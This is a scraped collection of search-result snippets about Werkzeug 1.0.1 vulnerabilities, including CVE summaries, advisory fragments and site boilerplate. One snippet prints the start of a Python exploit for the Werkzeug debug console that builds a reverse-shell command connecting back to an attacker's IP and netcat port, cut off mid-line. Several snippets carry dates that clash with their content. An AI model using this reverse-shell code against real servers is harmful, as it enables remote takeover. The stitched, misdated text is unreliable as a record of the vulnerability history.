Learn more about known Werkzeug 1.0.1 vulnerabilities and licenses detected.

June 3, 2025 - We cannot provide a description for this page right now

This page lists vulnerability statistics for CVEs published in the last ten years, if any, for Palletsprojects » Werkzeug » 1.0.1 .

May 27, 2022 - CVE-2022-29361 - High Severity Vulnerability Vulnerable Library - Werkzeug-1.0.1-py2.py3-none-any.whl The comprehensive WSGI web application library. Library home page: https://files.pythonhosted.org/packages/cc/94/5f7079a0e00bd6863ef8f1...

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

This page lists vulnerability statistics for all versions of Palletsprojects » Werkzeug. Vulnerability statistics provide a quick overview for security vulnerabilities of Werkzeug.

Published: 18 years ago Last updated: 3 months ago Latest version: 3.1.8 Latest non-vulnerable version: 3.1.8 ... Loading chart... ... Further analysis of the maintenance status of Werkzeug based on released PyPI versions cadence, the repository activity, and other data points determined that its maintenance is Healthy.

We cannot provide a description for this page right now

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

June 28, 2015 - Tested against the following Werkzeug versions: - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 - 1.1.4 on Debian 12 - 1.0.1 on Debian 12 - 0.11.5 on Debian 12 - 0.10 on Debian 12 · To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': ... With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.Explore Intelligence Hub

February 18, 2020 - The issue here is not the Werkzeug debugger itself, but an incorrect way of configuring a Werkzeug application: making the debugger available on a production machine. A publicly exposed debugger will subject the machine to remote code execution.

werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

February 3, 2018 - This allows an attacker to cause a denial of service by sending crafted multipart data to an endpoint that will parse it. The amount of CPU time required can block worker processes from handling legitimate requests. This vulnerability has been patched in version 3.0.1. Source: GitHub, Inc.

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

It was discovered that Werkzeug has insufficient debugger PIN randomness. An attacker could use this issue to access sensitive information. This issue only affected Ubuntu 18.04 LTS.

Python script for exploiting Werkzeug Debug RCE useful for CTF - its-arun/Werkzeug-Debug-RCE

May 6, 2024 - This is a potential security issue, you are being redirected to https://nvd.nist.gov · Official websites use .gov A .gov website belongs to an official government organization in the United States

This requires the malicious user to get the developer to interact with a dom... ... Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows malicious users to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body.

We cannot provide a description for this page right now

October 25, 2017 - It was discovered that Werkzeug did not properly handle certain web scripts.